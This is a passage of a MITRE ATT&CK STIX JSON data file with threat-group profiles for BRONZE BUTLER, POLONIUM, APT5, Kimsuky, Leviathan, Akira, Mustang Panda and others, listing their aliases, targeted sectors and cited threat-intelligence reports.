2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"},{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."},{"source_name":"Symantec Tick Apr 2016","description":"DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.","url":"https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"}],"modified":"2021-10-12T19:42:16.869Z","name":"BRONZE BUTLER","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry.(Citation: Trend Micro Daserf Nov 2017)(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Trend Micro Tick November 2019)","x_mitre_version":"1.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-01-08T21:56:22.594Z","name":"POLONIUM","description":"[POLONIUM](https://attack.mitre.org/groups/G1005) is a Lebanon-based group that has primarily targeted Israeli organizations, including critical manufacturing, information technology, and defense industry companies, since at least February 2022. Security researchers assess [POLONIUM](https://attack.mitre.org/groups/G1005) has coordinated their operations with multiple actors affiliated with Iran’s Ministry of Intelligence and Security (MOIS), based on victim overlap as well as common techniques and tooling.(Citation: Microsoft POLONIUM June 2022)","aliases":["POLONIUM","Plaid Rain"],"x_mitre_deprecated":false,"x_mitre_version":"2.0","type":"intrusion-set","id":"intrusion-set--5f3d0238-d058-44a9-8812-3dd1b6741a8c","created":"2022-07-01T19:07:04.253Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1005","external_id":"G1005"},{"source_name":"Plaid Rain","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"Microsoft POLONIUM June 2022","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022.","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.273Z","name":"File Creation","description":"Initial construction of a new file (ex: Sysmon EID 11)","x_mitre_data_source_ref":"x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-03-14T18:53:21.577Z","name":"APT5","description":"[APT5](https://attack.mitre.org/groups/G1023) is a China-based espionage actor that has been active since at least 2007 primarily targeting the telecommunications, aerospace, and defense industries throughout the U.S., Europe, and Asia. [APT5](https://attack.mitre.org/groups/G1023) has displayed advanced tradecraft and significant interest in compromising networking devices and their underlying software including through the use of zero-day exploits.(Citation: NSA APT5 Citrix Threat Hunting December 2022)(Citation: Microsoft East Asia Threats September 2023)(Citation: Mandiant Pulse Secure Zero-Day April 2021)(Citation: Mandiant Pulse Secure Update May 2021)(Citation: FireEye Southeast Asia Threat Landscape March 2015)(Citation: Mandiant Advanced Persistent Threats) ","aliases":["APT5","Mulberry Typhoon","MANGANESE","BRONZE FLEETWOOD","Keyhole Panda","UNC2630"],"x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_contributors":["@_montysecurity"],"type":"intrusion-set","id":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","created":"2024-02-05T19:27:35.655Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1023","external_id":"G1023"},{"source_name":"Mulberry Typhoon","description":"(Citation: Microsoft Threat Actor Naming July 2023)(Citation: Microsoft East Asia Threats September 2023)"},{"source_name":"MANGANESE","description":"(Citation: Microsoft Threat Actor Naming July 2023)(Citation: NSA APT5 Citrix Threat Hunting December 2022)"},{"source_name":"Keyhole Panda","description":"(Citation: Microsoft Threat Actor Naming July 2023)(Citation: Secureworks BRONZE FLEETWOOD Profile)"},{"source_name":"UNC2630","description":"(Citation: NSA APT5 Citrix Threat Hunting December 2022)"},{"source_name":"BRONZE FLEETWOOD","description":"(Citation: Secureworks BRONZE FLEETWOOD Profile)"},{"source_name":"FireEye Southeast Asia Threat Landscape March 2015","description":"FireEye. (2015, March). SOUTHEAST ASIA: AN EVOLVING CYBER THREAT LANDSCAPE. Retrieved February 5, 2024.","url":"https://web.archive.org/web/20220122121143/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-southeast-asia-threat-landscape.pdf"},{"source_name":"Mandiant Advanced Persistent Threats","description":"Mandiant. (n.d.). Advanced Persistent Threats (APTs). Retrieved February 14, 2024.","url":"https://www.mandiant.com/resources/insights/apt-groups"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"Microsoft East Asia Threats September 2023","description":"Microsoft Threat Intelligence. (2023, September). Digital threats from East Asia increase in breadth and effectiveness. Retrieved February 5, 2024.","url":"https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RW1aFyW"},{"source_name":"NSA APT5 Citrix Threat Hunting December 2022","description":"National Security Agency. (2022, December). APT5: Citrix ADC Threat Hunting Guidance. Retrieved February 5, 2024.","url":"https://media.defense.gov/2022/Dec/13/2003131586/-1/-1/0/CSA-APT5-CITRIXADC-V1.PDF"},{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"},{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"},{"source_name":"Secureworks BRONZE FLEETWOOD Profile","description":"Secureworks CTU. (n.d.). BRONZE FLEETWOOD. Retrieved February 5, 2024.","url":"https://www.secureworks.com/research/threat-profiles/bronze-fleetwood"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["BackdoorDiplomacy"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Zaw Min Htun, @Z3TAE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93","type":"intrusion-set","created":"2021-09-21T14:52:49.596Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0135","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0135"},{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-18T19:47:11.389Z","name":"BackdoorDiplomacy","description":"[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) is a cyber espionage threat group that has been active since at least 2017. [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has targeted Ministries of Foreign Affairs and telecommunication companies in Africa, Europe, the Middle East, and Asia.(Citation: ESET BackdoorDiplomacy Jun 2021)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-10T14:32:27.067Z","name":"Kimsuky","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the UN and the government, education, business services, and manufacturing sectors in the United States, Japan, Russia, and Europe. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions. [Kimsuky](https://attack.mitre.org/groups/G0094) operations have overlapped with those of other North Korean cyber espionage actors likely as a result of ad hoc collaborations or other limited resource sharing.(Citation: EST Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024)\n\n[Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.","aliases":["Kimsuky","Black Banshee","Velvet Chollima","Emerald Sleet","THALLIUM","APT43","TA427"],"x_mitre_deprecated":false,"x_mitre_version":"5.0","x_mitre_contributors":["Taewoo Lee, KISA","Dongwook Kim, KISA"],"type":"intrusion-set","id":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","created":"2019-08-26T15:03:02.577Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0094","external_id":"G0094"},{"source_name":"Black Banshee","description":"(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)"},{"source_name":"THALLIUM","description":"(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024)"},{"source_name":"APT43","description":"(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024)"},{"source_name":"Emerald Sleet","description":"(Citation: Microsoft Threat Actor Naming July 2023)(Citation: Proofpoint TA427 April 2024)"},{"source_name":"TA427","description":"(Citation: Proofpoint TA427 April 2024)"},{"source_name":"Kimsuky","description":"(Citation: Securelist Kimsuky Sept 2013)(Citation: Malwarebytes Kimsuky June 2021)"},{"source_name":"Velvet Chollima","description":"(Citation: Zdnet Kimsuky Dec 2018)(Citation: ThreatConnect Kimsuky September 2020)(Citation: Malwarebytes Kimsuky June 2021)"},{"source_name":"AhnLab Kimsuky Kabar Cobra Feb 2019","description":"AhnLab. (2019, February 28). Operation Kabar Cobra - Tenacious cyber-espionage campaign by Kimsuky Group. Retrieved September 29, 2021.","url":"https://global.ahnlab.com/global/upload/download/techreport/%5BAnalysis_Report%5DOperation%20Kabar%20Cobra.pdf"},{"source_name":"EST Kimsuky April 2019","description":"Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019.","url":"https://blog.alyac.co.kr/2234"},{"source_name":"Netscout Stolen Pencil Dec 2018","description":"ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.","url":"https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/"},{"source_name":"Zdnet Kimsuky Dec 2018","description":"Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.","url":"https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/"},{"source_name":"CISA AA20-301A Kimsuky","description":"CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-301a"},{"source_name":"Cybereason Kimsuky November 2020","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020.","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite"},{"source_name":"EST Kimsuky SmokeScreen April 2019","description":"ESTSecurity. (2019, April 17). Analysis of the APT Campaign ‘Smoke Screen’ targeting to Korea and US 출처: https://blog.alyac.co.kr/2243 [이스트시큐리티 알약 블로그]. Retrieved September 29, 2021.","url":"https://blog.alyac.co.kr/attachment/cfile5.uf@99A0CD415CB67E210DCEB3.pdf"},{"source_name":"Malwarebytes Kimsuky June 2021","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/"},{"source_name":"Proofpoint TA427 April 2024","description":"Lesnewich, G. et al. (2024, April 16). From Social Engineering to DMARC Abuse: TA427’s Art of Information Gathering. Retrieved May 3, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/social-engineering-dmarc-abuse-ta427s-art-information-gathering"},{"source_name":"Mandiant APT43 March 2024","description":"Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.","url":"https://services.google.com/fh/files/misc/apt43-report-en.pdf"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"Securelist Kimsuky Sept 2013","description":"Tarakanov , D.. (2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019.","url":"https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/"},{"source_name":"ThreatConnect Kimsuky September 2020","description":"ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020.","url":"https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-01-08T20:33:16.460Z","name":"Leviathan","description":"[Leviathan](https://attack.mitre.org/groups/G0065) is a Chinese state-sponsored cyber espionage group that has been attributed to the Ministry of State Security's (MSS) Hainan State Security Department and an affiliated front company.(Citation: CISA AA21-200A APT40 July 2021) Active since at least 2009, [Leviathan](https://attack.mitre.org/groups/G0065) has targeted the following sectors: academia, aerospace/aviation, biomedical, defense industrial base, government, healthcare, manufacturing, maritime, and transportation across the US, Canada, Europe, the Middle East, and Southeast Asia.(Citation: CISA AA21-200A APT40 July 2021)(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)","aliases":["Leviathan","MUDCARP","Kryptonite Panda","Gadolinium","BRONZE MOHAWK","TEMP.Jumper","APT40","TEMP.Periscope","Gingham Typhoon"],"x_mitre_deprecated":false,"x_mitre_version":"4.0","x_mitre_contributors":["Valerii Marchuk, Cybersecurity Help s.r.o."],"type":"intrusion-set","id":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0065","external_id":"G0065"},{"source_name":"MUDCARP","description":"(Citation: CISA AA21-200A APT40 July 2021)(Citation: Accenture MUDCARP March 2019)"},{"source_name":"Kryptonite Panda","description":"(Citation: CISA AA21-200A APT40 July 2021)(Citation: Crowdstrike KRYPTONITE PANDA August 2018)"},{"source_name":"Gadolinium","description":"(Citation: CISA AA21-200A APT40 July 2021)(Citation: MSTIC GADOLINIUM September 2020)"},{"source_name":"BRONZE MOHAWK","description":"(Citation: CISA AA21-200A APT40 July 2021)(Citation: SecureWorks BRONZE MOHAWK n.d.)"},{"source_name":"Gingham Typhoon","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"Leviathan","description":"(Citation: Proofpoint Leviathan Oct 2017)"},{"source_name":"TEMP.Jumper","description":"[Leviathan](https://attack.mitre.org/groups/G0065) was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: CISA AA21-200A APT40 July 2021)(Citation: FireEye APT40 March 2019)"},{"source_name":"TEMP.Periscope","description":"[Leviathan](https://attack.mitre.org/groups/G0065) was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: CISA AA21-200A APT40 July 2021)(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019)"},{"source_name":"Accenture MUDCARP March 2019","description":"Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021.","url":"https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies"},{"source_name":"Crowdstrike KRYPTONITE PANDA August 2018","description":"Adam Kozy. (2018, August 30). Two Birds, One Stone Panda. Retrieved August 24, 2021.","url":"https://www.crowdstrike.com/blog/two-birds-one-stone-panda/"},{"source_name":"Proofpoint Leviathan Oct 2017","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"},{"source_name":"MSTIC GADOLINIUM September 2020","description":"Ben Koehl, Joe Hannon. (2020, September 24). Microsoft Security - Detecting Empires in the Cloud. Retrieved August 24, 2021.","url":"https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/"},{"source_name":"CISA AA21-200A APT40 July 2021","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021.","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a"},{"source_name":"APT40","description":"FireEye reporting on TEMP.Periscope (which was combined into APT40) indicated TEMP.Periscope was reported upon as Leviathan.(Citation: CISA AA21-200A APT40 July 2021)(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019)"},{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"FireEye APT40 March 2019","description":"Plan, F., et al. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html"},{"source_name":"SecureWorks BRONZE MOHAWK n.d.","description":"SecureWorks. (n.d.). Threat Profile - BRONZE MOHAWK. Retrieved August 24, 2021.","url":"https://www.secureworks.com/research/threat-profiles/bronze-mohawk"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-09T16:46:55.719Z","name":"Ajax Security Team","description":"[Ajax Security Team](https://attack.mitre.org/groups/G0130) is a group that has been active since at least 2010 and believed to be operating out of Iran. By 2014 [Ajax Security Team](https://attack.mitre.org/groups/G0130) transitioned from website defacement operations to malware-based cyber espionage campaigns targeting the US defense industrial base and Iranian users of anti-censorship technologies.(Citation: FireEye Operation Saffron Rose 2013)","aliases":["Ajax Security Team","Operation Woolen-Goldfish","AjaxTM","Rocket Kitten","Flying Kitten","Operation Saffron Rose"],"x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"intrusion-set","id":"intrusion-set--fa19de15-6169-428d-9cd6-3ca3d56075b7","created":"2021-04-14T13:17:43.941Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0130","external_id":"G0130"},{"source_name":"Flying Kitten","description":"(Citation: CrowdStrike Flying Kitten )"},{"source_name":"AjaxTM","description":"(Citation: FireEye Operation Saffron Rose 2013)"},{"source_name":"Operation Saffron Rose","description":"(Citation: FireEye Operation Saffron Rose 2013)"},{"source_name":"Rocket Kitten","description":"Analysis of infrastructure, tools, and modes of operation revealed a potential relationship between [Ajax Security Team](https://attack.mitre.org/groups/G0130) and Rocket Kitten.(Citation: Check Point Rocket Kitten)(Citation: IranThreats Kittens Dec 2017)"},{"source_name":"Operation Woolen-Goldfish","description":"Analysis of infrastructure, tools, and modes of operation revealed a potential relationship between [Ajax Security Team](https://attack.mitre.org/groups/G0130) and the campaign Operation Woolen-Goldfish.(Citation: Check Point Rocket Kitten)(Citation: TrendMicro Operation Woolen Goldfish March 2015)"},{"source_name":"TrendMicro Operation Woolen Goldfish March 2015","description":"Cedric Pernet, Kenney Lu. (2015, March 19). Operation Woolen-Goldfish - When Kittens Go phishing. Retrieved April 21, 2021.","url":"https://documents.trendmicro.com/assets/wp/wp-operation-woolen-goldfish.pdf"},{"source_name":"Check Point Rocket Kitten","description":"Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018.","url":"https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf"},{"source_name":"CrowdStrike Flying Kitten ","description":"Dahl, M.. (2014, May 13). Cat Scratch Fever: CrowdStrike Tracks Newly Reported Iranian Actor as FLYING KITTEN. Retrieved May 27, 2020.","url":"https://www.crowdstrike.com/blog/cat-scratch-fever-crowdstrike-tracks-newly-reported-iranian-actor-flying-kitten/"},{"source_name":"IranThreats Kittens Dec 2017","description":"Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.","url":"https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/"},{"source_name":"FireEye Operation Saffron Rose 2013","description":"Villeneuve, N. et al.. (2013). OPERATION SAFFRON ROSE . Retrieved May 28, 2020.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-operation-saffron-rose.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-03T10:32:50.221Z","name":"Akira","description":"[Akira](https://attack.mitre.org/groups/G1024) is a ransomware variant and ransomware deployment entity active since at least March 2023.(Citation: Arctic Wolf Akira 2023) [Akira](https://attack.mitre.org/groups/G1024) uses compromised credentials to access single-factor external access mechanisms such as VPNs for initial access, then various publicly-available tools and techniques for lateral movement.(Citation: Arctic Wolf Akira 2023)(Citation: Secureworks GOLD SAHARA) [Akira](https://attack.mitre.org/groups/G1024) operations are associated with \"double extortion\" ransomware activity, where data is exfiltrated from victim environments prior to encryption, with threats to publish files if a ransom is not paid. Technical analysis of [Akira](https://attack.mitre.org/software/S1129) ransomware indicates multiple overlaps with and similarities to [Conti](https://attack.mitre.org/software/S0575) malware.(Citation: BushidoToken Akira 2023)","aliases":["Akira","GOLD SAHARA","PUNK SPIDER"],"x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"intrusion-set","id":"intrusion-set--46bb06cb-f2d9-4b37-8c92-a27e224ad90d","created":"2024-02-20T23:59:25.966Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1024","external_id":"G1024"},{"source_name":"PUNK SPIDER","description":"(Citation: CrowdStrike PUNK SPIDER)"},{"source_name":"GOLD SAHARA","description":"(Citation: Secureworks GOLD SAHARA)"},{"source_name":"CrowdStrike PUNK SPIDER","description":"CrowdStrike. (n.d.). Punk Spider. Retrieved February 20, 2024.","url":"https://www.crowdstrike.com/adversaries/punk-spider/"},{"source_name":"Secureworks GOLD SAHARA","description":"Secureworks. (n.d.). GOLD SAHARA. Retrieved February 20, 2024.","url":"https://www.secureworks.com/research/threat-profiles/gold-sahara"},{"source_name":"Arctic Wolf Akira 2023","description":"Steven Campbell, Akshay Suthar, & Connor Belfiorre. (2023, July 26). Conti and Akira: Chained Together. Retrieved February 20, 2024.","url":"https://arcticwolf.com/resources/blog/conti-and-akira-chained-together/"},{"source_name":"BushidoToken Akira 2023","description":"Will Thomas. (2023, September 15). Tracking Adversaries: Akira, another descendent of Conti. Retrieved February 21, 2024.","url":"https://blog.bushidotoken.net/2023/09/tracking-adversaries-akira-another.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-22T22:01:13.781Z","name":"Mustang Panda","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) is a China-based cyber espionage threat actor that was first observed in 2017 but may have been conducting operations since at least 2014. [Mustang Panda](https://attack.mitre.org/groups/G0129) has targeted government entities, nonprofits, religious, and other non-governmental organizations in the U.S., Europe, Mongolia, Myanmar, Pakistan, and Vietnam, among others.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019) ","aliases":["Mustang Panda","TA416","RedDelta","BRONZE PRESIDENT"],"x_mitre_deprecated":false,"x_mitre_version":"2.1","x_mitre_contributors":["Kyaw Pyiyt Htet, @KyawPyiytHtet"],"type":"intrusion-set","id":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","created":"2021-04-12T15:56:28.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0129","external_id":"G0129"},{"source_name":"Mustang Panda","description":"(Citation: Crowdstrike MUSTANG PANDA June 2018)"},{"source_name":"TA416","description":"(Citation: Proofpoint TA416 November 2020)"},{"source_name":"RedDelta","description":"(Citation: Recorded Future REDDELTA July 2020)(Citation: Proofpoint TA416 Europe March 2022)"},{"source_name":"BRONZE PRESIDENT","description":"(Citation: Secureworks BRONZE PRESIDENT December 2019)"},{"source_name":"Anomali MUSTANG PANDA October 2019","description":"Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021.","url":"https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations"},{"source_name":"Secureworks BRONZE PRESIDENT December 2019","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021.","url":"https://www.secureworks.com/research/bronze-president-targets-ngos"},{"source_name":"Recorded Future REDDELTA July 2020","description":"Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP ‘REDDELTA’ TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021.","url":"https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf"},{"source_name":"Crowdstrike MUSTANG PANDA June 2018","description":"Meyers, A. (2018, June 15). Meet CrowdStrike’s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 